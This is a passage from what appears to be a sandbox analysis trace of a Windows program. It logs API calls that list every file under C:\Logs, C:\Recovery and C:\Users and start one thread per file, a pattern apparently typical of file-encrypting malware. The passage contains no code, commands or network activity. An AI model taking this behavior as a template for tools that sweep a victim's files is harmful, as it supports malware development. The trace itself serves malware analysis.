dwReserved1=0x0, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cAlternateFileName="MICC17~1.EVT")) returned 1 [0062.326] wcscmp (_String1="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", _String2=".") returned 1 [0062.326] wcscmp (_String1="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", _String2="..") returned 1 [0062.326] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e28d0 [0062.326] wcscpy (in: _Dest=0x33e28d0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.327] wcscat (in: _Dest=0x33e28d0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.327] wcscat (in: _Dest=0x33e28d0, _Source="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" [0062.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e28d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0062.327] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx", cAlternateFileName="MI72BF~1.EVT")) returned 1 [0062.327] wcscmp (_String1="Microsoft-Windows-Wcmsvc%4Operational.evtx", _String2=".") returned 1 [0062.327] wcscmp (_String1="Microsoft-Windows-Wcmsvc%4Operational.evtx", _String2="..") returned 1 [0062.327] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x33c9d00 [0062.327] wcscpy (in: _Dest=0x33c9d00, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.327] wcscat (in: _Dest=0x33c9d00, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.327] wcscat (in: _Dest=0x33c9d00, _Source="Microsoft-Windows-Wcmsvc%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" [0062.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c9d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0062.328] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx", cAlternateFileName="MI7501~1.EVT")) returned 1 [0062.328] wcscmp (_String1="Microsoft-Windows-Windows Defender%4Operational.evtx", _String2=".") returned 1 [0062.328] wcscmp (_String1="Microsoft-Windows-Windows Defender%4Operational.evtx", _String2="..") returned 1 [0062.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7a) returned 0x33c7d40 [0062.328] wcscpy (in: _Dest=0x33c7d40, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.328] wcscat (in: _Dest=0x33c7d40, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.328] wcscat (in: _Dest=0x33c7d40, _Source="Microsoft-Windows-Windows Defender%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" [0062.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c7d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0062.329] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx", cAlternateFileName="MIF226~1.EVT")) returned 1 [0062.329] wcscmp (_String1="Microsoft-Windows-Windows Defender%4WHC.evtx", _String2=".") returned 1 [0062.329] wcscmp (_String1="Microsoft-Windows-Windows Defender%4WHC.evtx", _String2="..") returned 1 [0062.329] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479c40 [0062.329] wcscpy (in: _Dest=0x3479c40, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.329] wcscat (in: _Dest=0x3479c40, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.329] wcscat (in: _Dest=0x3479c40, _Source="Microsoft-Windows-Windows Defender%4WHC.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" [0062.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0 [0062.330] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cAlternateFileName="MIDCC7~1.EVT")) returned 1 [0062.330] wcscmp (_String1="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", _String2=".") returned 1 [0062.330] wcscmp (_String1="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", _String2="..") returned 1 [0062.330] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x33ca330 [0062.330] wcscpy (in: _Dest=0x33ca330, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.330] wcscat (in: _Dest=0x33ca330, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.330] wcscat (in: _Dest=0x33ca330, _Source="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" [0062.330] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ca330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0062.331] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cAlternateFileName="MI7771~1.EVT")) returned 1 [0062.331] wcscmp (_String1="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", _String2=".") returned 1 [0062.331] wcscmp (_String1="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", _String2="..") returned 1 [0062.331] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33ce508 [0062.331] wcscpy (in: _Dest=0x33ce508, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.331] wcscat (in: _Dest=0x33ce508, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.331] wcscat (in: _Dest=0x33ce508, _Source="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" [0062.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ce508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0062.332] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cAlternateFileName="MI4667~1.EVT")) returned 1 [0062.332] wcscmp (_String1="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", _String2=".") returned 1 [0062.332] wcscmp (_String1="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", _String2="..") returned 1 [0062.332] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e31d0 [0062.332] wcscpy (in: _Dest=0x33e31d0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.332] wcscat (in: _Dest=0x33e31d0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.332] wcscat (in: _Dest=0x33e31d0, _Source="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" [0062.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e31d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0062.333] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx", cAlternateFileName="MID6AB~1.EVT")) returned 1 [0062.333] wcscmp (_String1="Microsoft-Windows-Winlogon%4Operational.evtx", _String2=".") returned 1 [0062.333] wcscmp (_String1="Microsoft-Windows-Winlogon%4Operational.evtx", _String2="..") returned 1 [0062.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347a000 [0062.333] wcscpy (in: _Dest=0x347a000, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.333] wcscat (in: _Dest=0x347a000, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.333] wcscat (in: _Dest=0x347a000, _Source="Microsoft-Windows-Winlogon%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" [0062.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347a000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0062.334] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx", cAlternateFileName="MIFF83~1.EVT")) returned 1 [0062.334] wcscmp (_String1="Microsoft-Windows-WMI-Activity%4Operational.evtx", _String2=".") returned 1 [0062.334] wcscmp (_String1="Microsoft-Windows-WMI-Activity%4Operational.evtx", _String2="..") returned 1 [0062.334] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cca70 [0062.334] wcscpy (in: _Dest=0x33cca70, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.334] wcscat (in: _Dest=0x33cca70, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.334] wcscat (in: _Dest=0x33cca70, _Source="Microsoft-Windows-WMI-Activity%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" [0062.334] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cca70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x328 [0062.335] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security.evtx", cAlternateFileName="SECURI~1.EVT")) returned 1 [0062.335] wcscmp (_String1="Security.evtx", _String2=".") returned 1 [0062.335] wcscmp (_String1="Security.evtx", _String2="..") returned 1 [0062.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2c) returned 0x33e9788 [0062.335] wcscpy (in: _Dest=0x33e9788, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.335] wcscat (in: _Dest=0x33e9788, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.335] wcscat (in: _Dest=0x33e9788, _Source="Security.evtx" | out: _Dest="C:\\Logs\\Security.evtx") returned="C:\\Logs\\Security.evtx" [0062.335] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e9788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x344 [0062.336] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.evtx", cAlternateFileName="SETUP~1.EVT")) returned 1 [0062.336] wcscmp (_String1="Setup.evtx", _String2=".") returned 1 [0062.336] wcscmp (_String1="Setup.evtx", _String2="..") returned 1 [0062.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x26) returned 0x33fc2e0 [0062.336] wcscpy (in: _Dest=0x33fc2e0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.336] wcscat (in: _Dest=0x33fc2e0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.336] wcscat (in: _Dest=0x33fc2e0, _Source="Setup.evtx" | out: _Dest="C:\\Logs\\Setup.evtx") returned="C:\\Logs\\Setup.evtx" [0062.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fc2e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340 [0062.336] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.evtx", cAlternateFileName="SYSTEM~1.EVT")) returned 1 [0062.337] wcscmp (_String1="System.evtx", _String2=".") returned 1 [0062.337] wcscmp (_String1="System.evtx", _String2="..") returned 1 [0062.337] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x28) returned 0x33fc4c0 [0062.337] wcscpy (in: _Dest=0x33fc4c0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.337] wcscat (in: _Dest=0x33fc4c0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.337] wcscat (in: _Dest=0x33fc4c0, _Source="System.evtx" | out: _Dest="C:\\Logs\\System.evtx") returned="C:\\Logs\\System.evtx" [0062.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fc4c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c [0062.337] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 1 [0062.337] wcscmp (_String1="Windows PowerShell.evtx", _String2=".") returned 1 [0062.337] wcscmp (_String1="Windows PowerShell.evtx", _String2="..") returned 1 [0062.337] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0062.338] wcscpy (in: _Dest=0x33fd280, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.338] wcscat (in: _Dest=0x33fd280, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.338] wcscat (in: _Dest=0x33fd280, _Source="Windows PowerShell.evtx" | out: _Dest="C:\\Logs\\Windows PowerShell.evtx") returned="C:\\Logs\\Windows PowerShell.evtx" [0062.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fd280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x334 [0062.338] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 0 [0062.338] FindClose (in: hFindFile=0x33dfa58 | out: hFindFile=0x33dfa58) returned 1 [0062.338] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34203c0) returned 1 [0062.339] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e19f0) returned 1 [0062.339] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e1b30) returned 1 [0062.339] RtlExitUserThread (Status=0x0) Thread: id = 19 os_tid = 0xf8c [0058.398] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1c) returned 0x33e4b98 [0058.398] wcscpy (in: _Dest=0x33e4b98, _Source="C:\\Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery" [0058.398] wcscat (in: _Dest=0x33e4b98, _Source="\\" | out: _Dest="C:\\Recovery\\") returned="C:\\Recovery\\" [0058.398] wcscat (in: _Dest=0x33e4b98, _Source="*" | out: _Dest="C:\\Recovery\\*") returned="C:\\Recovery\\*" [0058.398] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3421150 [0058.398] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x3421150 | out: lpFindFileData=0x3421150*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0218 [0058.787] wcscmp (_String1=".", _String2=".") returned 0 [0058.787] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x3421150 | out: lpFindFileData=0x3421150*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.787] wcscmp (_String1="..", _String2=".") returned 1 [0058.787] wcscmp (_String1="..", _String2="..") returned 0 [0058.787] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x3421150 | out: lpFindFileData=0x3421150*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0058.787] wcscmp (_String1="Logs", _String2=".") returned 1 [0058.787] wcscmp (_String1="Logs", _String2="..") returned 1 [0058.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x22) returned 0x33fc7c0 [0058.787] wcscpy (in: _Dest=0x33fc7c0, _Source="C:\\Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery" [0058.787] wcscat (in: _Dest=0x33fc7c0, _Source="\\" | out: _Dest="C:\\Recovery\\") returned="C:\\Recovery\\" [0058.787] wcscat (in: _Dest=0x33fc7c0, _Source="Logs" | out: _Dest="C:\\Recovery\\Logs") returned="C:\\Recovery\\Logs" [0059.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fc7c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348 [0059.027] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x3421150 | out: lpFindFileData=0x3421150*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1044dfc5, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReAgentOld.xml", cAlternateFileName="REAGEN~1.XML")) returned 1 [0059.027] wcscmp (_String1="ReAgentOld.xml", _String2=".") returned 1 [0059.027] wcscmp (_String1="ReAgentOld.xml", _String2="..") returned 1 [0059.027] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33dfb18 [0059.027] wcscpy (in: _Dest=0x33dfb18, _Source="C:\\Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery" [0059.027] wcscat (in: _Dest=0x33dfb18, _Source="\\" | out: _Dest="C:\\Recovery\\") returned="C:\\Recovery\\" [0059.027] wcscat (in: _Dest=0x33dfb18, _Source="ReAgentOld.xml" | out: _Dest="C:\\Recovery\\ReAgentOld.xml") returned="C:\\Recovery\\ReAgentOld.xml" [0059.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33dfb18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc [0059.028] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x3421150 | out: lpFindFileData=0x3421150*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1044dfc5, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReAgentOld.xml", cAlternateFileName="REAGEN~1.XML")) returned 0 [0059.028] FindClose (in: hFindFile=0x33e0218 | out: hFindFile=0x33e0218) returned 1 [0059.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3421150) returned 1 [0059.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4b98) returned 1 [0059.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4b48) returned 1 [0059.028] RtlExitUserThread (Status=0x0) Thread: id = 20 os_tid = 0xb0c [0058.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x16) returned 0x33e1a10 [0058.402] wcscpy (in: _Dest=0x33e1a10, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0058.402] wcscat (in: 